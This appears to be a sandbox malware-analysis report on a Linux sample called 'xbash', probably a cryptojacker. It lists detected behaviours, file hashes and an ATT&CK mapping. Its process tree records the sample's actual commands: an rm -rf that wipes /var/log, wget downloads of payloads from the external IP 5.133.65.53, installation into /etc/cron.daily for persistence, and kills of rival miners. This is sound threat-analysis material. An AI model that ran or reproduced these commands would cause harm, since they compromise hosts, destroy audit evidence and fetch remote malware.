ece03e94521d55f8903f9aca43d4e8926499559267eb1b5730acd62d69eb451e

Analysis

max time kernel
68s
max time network
137s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20221111-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20221111-enkernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
26/04/2023, 01:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
xbash
Size 51KB
Sample230426-b5ec6agc2x
SHA256 ece03e94521d55f8903f9aca43d4e8926499559267eb1b5730acd62d69eb451e
MD5 fd080b1dcae447179c74d0badd71fa1e
SHA1 96855154935df77dfbe96edecb328f9ac9fd9cab
SHA512 b997f6214300af16be15b9c84130fe80d8b835b1aa6caea35cb200040e5f3002966ed93d2aa70b7908a0aba501ab6debcad3473199b9915cd80f1fa61818b17f
SSDEEP 1536:Wid4W2/dBio+vu5KWoUsPAiWa3xh4mL0WdzqyeGnPLWpvIQBW0txbxEkYShpU0ig:Wid4W2/dBio+vu5KWoUsPAiWa3xh4mL+
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

Malware Config

Signatures

Deletes system logs 1 TTPs 31 IoCs

Indicator Removal on Host

T1070

description	ioc	Process
File deleted	/var/log/apt	rm
File deleted	/var/log/kern.log	rm
File deleted	/var/log/boot.log	rm
File deleted	/var/log/journal/40aaf6fa720047dbb97c78c09debbef3/system.journal	rm
File deleted	/var/log/journal/40aaf6fa720047dbb97c78c09debbef3	rm
File deleted	/var/log/alternatives.log	rm
File deleted	/var/log/apt/eipp.log.xz	rm
File deleted	/var/log/auth.log	rm
File deleted	/var/log/btmp	rm
File deleted	/var/log/installer/lsb-release	rm
File deleted	/var/log/installer/cdebconf/questions.dat	rm
File deleted	/var/log/journal	rm
File deleted	/var/log/wtmp	rm
File deleted	/var/log/apt/history.log	rm
File deleted	/var/log/installer/syslog	rm
File deleted	/var/log/installer/cdebconf	rm
File deleted	/var/log/installer	rm
File deleted	/var/log/lastlog	rm
File deleted	/var/log/dist-upgrade	rm
File deleted	/var/log/installer/cdebconf/templates.dat	rm
File deleted	/var/log/installer/partman	rm
File deleted	/var/log/syslog	rm
File deleted	/var/log/tallylog	rm
File deleted	/var/log/ubuntu-advantage.log	rm
File deleted	/var/log/apt/term.log	rm
File deleted	/var/log/faillog	rm
File deleted	/var/log/installer/status	rm
File deleted	/var/log/installer/initial-status.gz	rm
File deleted	/var/log/journal/40aaf6fa720047dbb97c78c09debbef3/system@cda4b3cfb61d4c7c839f2b3d4804a67e-0000000000000001-0005ed35c2d9be4d.journal	rm
File deleted	/var/log/dpkg.log	rm
File deleted	/var/log/installer/hardware-summary	rm

Executes dropped EXE 1 IoCs

pid	Process
719	mv

Reads CPU attributes 1 TTPs 28 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/98/cmdline	pkill
File opened for reading	/proc/619/cmdline	ps
File opened for reading	/proc/162/status	pkill
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/162/status	ps
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/166/cmdline	ps
File opened for reading	/proc/362/cmdline	pkill
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/155/status	pkill
File opened for reading	/proc/171/stat	ps
File opened for reading	/proc/35/status	ps
File opened for reading	/proc/619/stat	ps
File opened for reading	/proc/171/status	ps
File opened for reading	/proc/438/stat	ps
File opened for reading	/proc/168/status	pkill
File opened for reading	/proc/374/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/160/status	ps
File opened for reading	/proc/171/cmdline	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/8/status	ps
File opened for reading	/proc/162/cmdline	ps
File opened for reading	/proc/352/status	pkill
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/362/stat	ps
File opened for reading	/proc/387/cmdline	pkill
File opened for reading	/proc/438/stat	ps
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/353/stat	ps
File opened for reading	/proc/303/stat	ps
File opened for reading	/proc/84/cmdline	pkill
File opened for reading	/proc/160/status	ps
File opened for reading	/proc/719/cmdline	ps
File opened for reading	/proc/398/cmdline	pkill
File opened for reading	/proc/32/status	pkill
File opened for reading	/proc/163/status	pkill
File opened for reading	/proc/83/status	pkill
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/156/status	ps
File opened for reading	/proc/231/status	ps
File opened for reading	/proc/446/cmdline	pkill
File opened for reading	/proc/115/status	pkill
File opened for reading	/proc/84/status	pkill
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/621/status	ps
File opened for reading	/proc/168/cmdline	ps
File opened for reading	/proc/169/status	ps
File opened for reading	/proc/303/cmdline	ps
File opened for reading	/proc/195/cmdline	pkill
File opened for reading	/proc/31/stat	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/159/status	ps
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/195/stat	ps
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/156/status	ps
File opened for reading	/proc/167/stat	ps
File opened for reading	/proc/619/stat	ps

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/selfgz621/cronman	tar
File opened for modification	/tmp/selfgz621/tmp.file	wget
File opened for modification	/tmp/selfgz621/tmp.file	wget
File opened for modification	/tmp/sh-thd.6xyRUI	Process not Found

/tmp/xbash
/tmp/xbash
1⤵
PID:621
- dirname
  dirname /tmp/xbash
  2⤵
  PID:623
- id
  id -u
  2⤵
  PID:624
- mkdir
  mkdir /tmp/selfgz621
  2⤵
  PID:625
- expr
  expr 53053 - 18556
  2⤵
  PID:639
- basename
  basename /usr/bin/shasum
  2⤵
  PID:643
- basename
  basename /usr/bin/md5sum
  2⤵
  PID:647
- expr
  expr 1 + 1
  2⤵
  PID:678
- expr
  expr 18556 + 34497
  2⤵
  PID:679
- expr
  expr 18556 + 34497
  2⤵
  PID:718
- ./cronman
  ./cronman
  2⤵
  PID:719
- - basename
    basename ./cronman
    3⤵
    PID:727
- - grep
    grep -a xfit /root/.bashrc
    3⤵
    PID:740
- - rm
    rm -rf "/home/*/.local/share/Trash/*/**"
    3⤵
    PID:745
- - rm
    rm -rf "/root/.local/share/Trash/*/**"
    3⤵
    PID:749
- - rm
    rm -rf /usr/share/man/cs /usr/share/man/da /usr/share/man/de /usr/share/man/es /usr/share/man/fi /usr/share/man/fr /usr/share/man/hu /usr/share/man/id /usr/share/man/it /usr/share/man/ja /usr/share/man/ko /usr/share/man/nl /usr/share/man/pl /usr/share/man/pt /usr/share/man/ru /usr/share/man/sl /usr/share/man/sr /usr/share/man/sv /usr/share/man/tr
    3⤵
    PID:752
- - rm
    rm -rf /usr/share/man/pt_BR /usr/share/man/zh_CN /usr/share/man/zh_TW
    3⤵
    PID:761
- - rm
    rm -rf /var/log/alternatives.log /var/log/apt /var/log/auth.log /var/log/boot.log /var/log/btmp /var/log/dist-upgrade /var/log/dpkg.log /var/log/faillog /var/log/installer /var/log/journal /var/log/kern.log /var/log/lastlog /var/log/syslog /var/log/tallylog /var/log/ubuntu-advantage.log /var/log/wtmp /var/log/. /var/log/..
    3⤵
    - Deletes system logs
    PID:764
- - rm
    rm -rf "/core.*"
    3⤵
    PID:768
- - mkdir
    mkdir /tmp
    3⤵
    PID:770
- - basename
    basename ./cronman
    3⤵
    PID:776
- - mkdir
    mkdir /etc/xbash
    3⤵
    PID:777
- /tmp/selfgz621/.cronman
  /tmp/selfgz621/.cronman
  2⤵
  PID:719
- - sysctl
    sysctl "kernel.pid_max=4194304"
    3⤵
    PID:884
- - basename
    basename /tmp/selfgz621/.cronman
    3⤵
    PID:888
- - grep
    grep -a xfit /root/.bashrc
    3⤵
    PID:896
- - mkdir
    mkdir /tmp
    3⤵
    - Reads runtime system information
    PID:897
- - chmod
    chmod 755 /etc/ld.so.preload
    3⤵
    PID:898
- - ps
    ps -eaf
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:899
- - grep
    grep spend-secret-key
    3⤵
    PID:900
- - grep
    grep -v grep
    3⤵
    PID:901
- - grep
    grep -v "[d]efunct"
    3⤵
    PID:902
- - awk
    awk "{ print \$2 }"
    3⤵
    PID:903
- - xargs
    xargs kill -9
    3⤵
    PID:904
  - - kill
      kill -9
      4⤵
      PID:905
  - - kill
      kill -9
      4⤵
      PID:905
  - - kill
      kill -9
      4⤵
      PID:905
  - - kill
      kill -9
      4⤵
      PID:905
  - - kill
      kill -9
      4⤵
      PID:905
  - - kill
      kill -9
      4⤵
      Reads CPU attributes
      PID:905
- - ps
    ps -eaf
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:906
- - grep
    grep -- "\\-\\-algo"
    3⤵
    PID:907
- - grep
    grep -v grep
    3⤵
    PID:908
- - grep
    grep -v "[d]efunct"
    3⤵
    PID:909
- - awk
    awk "{ print \$2 }"
    3⤵
    PID:910
- - xargs
    xargs kill -9
    3⤵
    PID:911
  - - kill
      kill -9
      4⤵
      PID:912
  - - kill
      kill -9
      4⤵
      PID:912
  - - kill
      kill -9
      4⤵
      PID:912
  - - kill
      kill -9
      4⤵
      PID:912
  - - kill
      kill -9
      4⤵
      PID:912
  - - kill
      kill -9
      4⤵
      Reads CPU attributes
      PID:912
- - ps
    ps -eaf
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:913
- - grep
    grep -- "\\-\\-url"
    3⤵
    PID:914
- - grep
    grep -v grep
    3⤵
    PID:915
- - grep
    grep -v "[d]efunct"
    3⤵
    PID:916
- - awk
    awk "{ print \$2 }"
    3⤵
    PID:917
- - xargs
    xargs kill -9
    3⤵
    PID:918
  - - kill
      kill -9
      4⤵
      PID:919
  - - kill
      kill -9
      4⤵
      PID:919
  - - kill
      kill -9
      4⤵
      PID:919
  - - kill
      kill -9
      4⤵
      PID:919
  - - kill
      kill -9
      4⤵
      PID:919
  - - kill
      kill -9
      4⤵
      Reads CPU attributes
      PID:919
- - ps
    ps -eaf
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:920
- - grep
    grep -- "\\-\\-donate-level"
    3⤵
    PID:921
- - grep
    grep -v grep
    3⤵
    PID:922
- - grep
    grep -v "[d]efunct"
    3⤵
    PID:923
- - awk
    awk "{ print \$2 }"
    3⤵
    PID:924
- - xargs
    xargs kill -9
    3⤵
    PID:925
  - - kill
      kill -9
      4⤵
      PID:926
  - - kill
      kill -9
      4⤵
      PID:926
  - - kill
      kill -9
      4⤵
      PID:926
  - - kill
      kill -9
      4⤵
      PID:926
  - - kill
      kill -9
      4⤵
      PID:926
  - - kill
      kill -9
      4⤵
      Reads CPU attributes
      PID:926
- - ps
    ps -eaf
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:927
- - grep
    grep minerd
    3⤵
    PID:928
- - grep
    grep -v grep
    3⤵
    PID:929
- - grep
    grep -v "[d]efunct"
    3⤵
    PID:930
- - awk
    awk "{ print \$2 }"
    3⤵
    PID:931
- - xargs
    xargs kill -9
    3⤵
    PID:932
  - - kill
      kill -9
      4⤵
      PID:933
  - - kill
      kill -9
      4⤵
      PID:933
  - - kill
      kill -9
      4⤵
      PID:933
  - - kill
      kill -9
      4⤵
      PID:933
  - - kill
      kill -9
      4⤵
      PID:933
  - - kill
      kill -9
      4⤵
      Reads CPU attributes
      PID:933
- - ps
    ps -eaf
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:934
- - grep
    grep xmr
    3⤵
    PID:935
- - grep
    grep -v grep
    3⤵
    PID:936
- - grep
    grep -v "[d]efunct"
    3⤵
    PID:937
- - awk
    awk "{ print \$2 }"
    3⤵
    PID:938
- - xargs
    xargs kill -9
    3⤵
    PID:939
  - - kill
      kill -9
      4⤵
      PID:940
  - - kill
      kill -9
      4⤵
      PID:940
  - - kill
      kill -9
      4⤵
      PID:940
  - - kill
      kill -9
      4⤵
      PID:940
  - - kill
      kill -9
      4⤵
      PID:940
  - - kill
      kill -9
      4⤵
      Reads CPU attributes
      PID:940
- - ps
    ps -eaf
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:941
- - grep
    grep cryptonight
    3⤵
    PID:942
- - grep
    grep -v grep
    3⤵
    PID:943
- - grep
    grep -v "[d]efunct"
    3⤵
    PID:944
- - awk
    awk "{ print \$2 }"
    3⤵
    PID:945
- - xargs
    xargs kill -9
    3⤵
    PID:946
  - - kill
      kill -9
      4⤵
      PID:947
  - - kill
      kill -9
      4⤵
      PID:947
  - - kill
      kill -9
      4⤵
      PID:947
  - - kill
      kill -9
      4⤵
      PID:947
  - - kill
      kill -9
      4⤵
      PID:947
  - - kill
      kill -9
      4⤵
      Reads CPU attributes
      PID:947
- - pkill
    pkill -9 xmrig
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:948
- - pkill
    pkill -f xmrig
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:949
- - pkill
    pkill -f Loopback
    3⤵
    - Reads CPU attributes
    PID:950
- - pkill
    pkill -f apaceha
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:951
- - pkill
    pkill -f cryptonight
    3⤵
    - Reads CPU attributes
    PID:952
- - pkill
    pkill -f stratum
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:953
- - pkill
    pkill -f minerd
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:954
- - pkill
    pkill -9 log-rotate
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:955
- - pkill
    pkill -9 warmun
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:956
- - pkill
    pkill -9 kinettd
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:957
- - ps
    ps cax
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:958
- - grep
    grep -v grep
    3⤵
    PID:959
- - grep
    grep -v "[d]efunct"
    3⤵
    PID:960
- - grep
    grep top.sh
    3⤵
    PID:961
- - ps
    ps cax
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:962
- - grep
    grep -v grep
    3⤵
    PID:963
- - grep
    grep -v "[d]efunct"
    3⤵
    PID:964
- - grep
    grep ds_agent
    3⤵
    PID:965
- - ps
    ps cax
    3⤵
    PID:966

which
which md5sum
1⤵
PID:628

which
which shasum
1⤵
PID:630

head
head -n 714 /tmp/xbash
1⤵
PID:632

wc
wc -c
1⤵
PID:633

sed
sed "s/ //g"
1⤵
PID:634

cat
cat /tmp/xbash
1⤵
PID:636

sed
sed "s/ //g"
1⤵
PID:638

wc
wc -c
1⤵
PID:637

cut
cut "-d " -f1
1⤵
PID:642

cut
cut "-d " -f1
1⤵
PID:646

cut
cut "-d " -f1
1⤵
PID:650

cut
cut -b-32
1⤵
PID:655

/usr/bin/md5sum
/usr/bin/md5sum
1⤵
PID:656

expr
expr 4194304 / 4
1⤵
PID:654

expr
expr 1048576 / 4
1⤵
PID:657

expr
expr 262144 / 4
1⤵
PID:658

expr
expr 65536 / 4
1⤵
PID:659

expr
expr 34497 / 16384
1⤵
PID:660

expr
expr 34497 "%" 16384
1⤵
PID:665

dd
dd "ibs=18556" "skip=1" "count=0"
1⤵
PID:667

expr
expr 0 + 16384
1⤵
PID:668

dd
dd "bs=16384" "count=1"
1⤵
PID:669

expr
expr 34497 / 100
1⤵
PID:670

expr
expr 16384 / 344
1⤵
PID:671

expr
expr 16384 + 16384
1⤵
PID:672

dd
dd "bs=16384" "count=1"
1⤵
PID:673

expr
expr 34497 / 100
1⤵
PID:674

expr
expr 32768 / 344
1⤵
PID:675

expr
expr 32768 + 16384
1⤵
PID:676

dd
dd "bs=1729" "count=1"
1⤵
PID:677

head
head -n 714 /tmp/xbash
1⤵
PID:681

wc
wc -c
1⤵
PID:682

sed
sed "s/ //g"
1⤵
PID:683

df
df -k /tmp/selfgz621
1⤵
PID:686

tail
tail -1
1⤵
PID:687

awk
awk "{ if (\$4 ~ /%/) {print \$3} else {print \$4} }"
1⤵
PID:688

expr
expr 4194304 / 4
1⤵
PID:691

gzip
gzip -cd
1⤵
PID:693

tar
tar xpvf -
1⤵
- Writes file to tmp directory
PID:695

expr
expr 1048576 / 4
1⤵
PID:694

expr
expr 262144 / 4
1⤵
PID:696

expr
expr 65536 / 4
1⤵
PID:697

expr
expr 34497 / 16384
1⤵
PID:698

expr
expr 34497 "%" 16384
1⤵
PID:699

dd
dd "ibs=18556" "skip=1" "count=0"
1⤵
PID:701

expr
expr 0 + 16384
1⤵
PID:702

dd
dd "bs=16384" "count=1"
1⤵
PID:703

expr
expr 34497 / 100
1⤵
PID:704

expr
expr 16384 / 344
1⤵
PID:705

expr
expr 16384 + 16384
1⤵
PID:706

dd
dd "bs=16384" "count=1"
1⤵
PID:707

expr
expr 34497 / 100
1⤵
PID:708

expr
expr 32768 / 344
1⤵
PID:709

expr
expr 32768 + 16384
1⤵
PID:712

dd
dd "bs=1729" "count=1"
1⤵
PID:715

dirname
dirname ./cronman
1⤵
PID:726

ps
ps cax
1⤵
- Reads CPU attributes
- Reads runtime system information
PID:729

grep
grep cronman
1⤵
PID:730

wc
wc -l
1⤵
PID:733

dirname
dirname ./cronman
1⤵
PID:774

sed
sed -r "s/ //g"
1⤵
PID:784

sed
sed -r "s#(http?://)?([^/]+)(.*)#\\15.133.65.53\\3#"
1⤵
PID:787

wget
wget -h
1⤵
PID:788

grep
grep -q -- --tries
1⤵
PID:789

wget
wget "--timeout=2" "--tries=3" -O /tmp/selfgz621/tmp.file http://5.133.65.53/soft/linux/cronman
1⤵
- Writes file to tmp directory
PID:790

cat
cat /tmp/selfgz621/tmp.file
1⤵
PID:835

mv
mv -f /tmp/selfgz621/tmp.file /tmp/selfgz621/.cronman
1⤵
- Executes dropped EXE
PID:836

chmod
chmod 755 /tmp/selfgz621/.cronman
1⤵
PID:837

sed
sed -r "s/ //g"
1⤵
PID:842

sed
sed -r "s#(http?://)?([^/]+)(.*)#\\15.133.65.53\\3#"
1⤵
PID:845

wget
wget -h
1⤵
PID:846

grep
grep -q -- --tries
1⤵
PID:847

wget
wget "--timeout=2" "--tries=3" -O /tmp/selfgz621/tmp.file http://5.133.65.53/soft/linux/xbash
1⤵
- Writes file to tmp directory
PID:848

cat
cat /tmp/selfgz621/tmp.file
1⤵
PID:878

mkdir
mkdir -p /root/gcclib
1⤵
PID:879

date
date "+%F %T"
1⤵
PID:880

mv
mv -f /tmp/selfgz621/tmp.file /etc/cron.daily/xbash
1⤵
PID:881

chmod
chmod 755 /etc/cron.daily/xbash
1⤵
PID:882

dirname
dirname /tmp/selfgz621/.cronman
1⤵
PID:887

ps
ps cax
1⤵
- Reads CPU attributes
- Reads runtime system information
PID:890

grep
grep -v grep
1⤵
PID:891

grep
grep -v "[d]efunct"
1⤵
PID:892

grep
grep cronman
1⤵
PID:893

wc
wc -l
1⤵
PID:894

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal on Host

T1070

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cronman.pid

Path /etc/xbash/cronman.pid
Size 4B
SHA256 61c3ee4befade66973d99a6ae1d84a1d88c85c04f0a2438c7a105cc4e19ef922
MD5 90b1db91cf19dbe0b560b99269f31341
SHA1 5a6f0fa7615da43fafd5b70d367feff7df4e27f4
SHA512 6eddd912fd7f55ae02628d4d6b67ad5f99bf9d247e588e9e348062c2f13de6121abe34a9277266bb9a15a0a20f1c2f18f902aadd8166bb586e2176ea8e26e5ff
MD5 SHA1 SHA512

Submit Download

date

Path /root/gcclib/date
Size 20B
SHA256 0164071ef1d37e88cde5f0465600d24485bb546d8d60b55cadf8b177683263e6
MD5 6d76a8a8a6a5d72ba066a44c82002f09
SHA1 93c24c39f3a922370aad8397377dccac191da638
SHA512 0d7813e7411d181fd1a1eb88ab2ec160edcd13d3696e33401a24916aa9c422b374578ea7ef89f95fa7f26d8751130b44fd61549834970a4e9dbb9bf6e24627cd
MD5 SHA1 SHA512

Submit Download

cronman

Path /tmp/selfgz621/cronman
Size 193KB
SHA256 98b80efb680949f2b94a7ecce911ae84037c30d1cb739eb43778ed3be5121655
MD5 2bc19935a2a664461cf26a2f5daa4f30
SHA1 f3eef9de7c2839ad9539c8b439b44dce3a4ca019
SHA512 03f998fcf1d635df0e065f6a7317d4f3d9f55bf210fecaa491732acfe7b090a24ca662e0fc57c2a24f62c93078bcb5fd2bcd0f37d5558b4fc5486141c790022d
SSDEEP 6144:zX5IMFFzmkf5NCZNlJVisCS4YFulP1/3v/kwSw:FIMF3f5glJVisCS4xSw
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.file

Path /tmp/selfgz621/tmp.file
Size 216KB
SHA256 07ccee82020246c09d64f9433fb547753bd8777ca4df4fb6cf19a2fa7a5aa916
MD5 c9330a54844c215544d04c2644e61ee1
SHA1 66237b7daaed6e090fd8f7a91346dbeee1cf298d
SHA512 50bdacec8e897048aa08ab6b1a62a87689a79afb9abc3ab7fd2f6e8e9160f99cfb27e0a84b84e9c2c3c577d7ac719576cd244412d579bf3342b1f25bc3da2df1
SSDEEP 6144:WFmW2/dUo+vu5KWoUsPAiWa3xh4mL0WdzqyeUPpVlIQBHtxbxEkYShpU0ifICwoG:zi4C+FH+
MD5 SHA1 SHA512 SSDEEP

Submit Download

sh-thd.6xyRUI

Path /tmp/sh-thd.6xyRUI
Size 350B
SHA256 fd206fcd48cbb2fb88c274f2d7a4eb226fddd49ff517074dfe95cc7fd8da65cf
MD5 9c538d4bbd00d98f87ebd7bab0454d9b
SHA1 9ba3b20e41a6183e47810e2f90ec66cddca7a505
SHA512 2f76d88e9492c28bdc446e69b6f3c6c79985d66ea526012cbac10146c06f0ddd47541d1b79b0de6a66c58c9d53b1d2dc967c9aac0f8ab2ee84f1b8fd7d3dc021
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads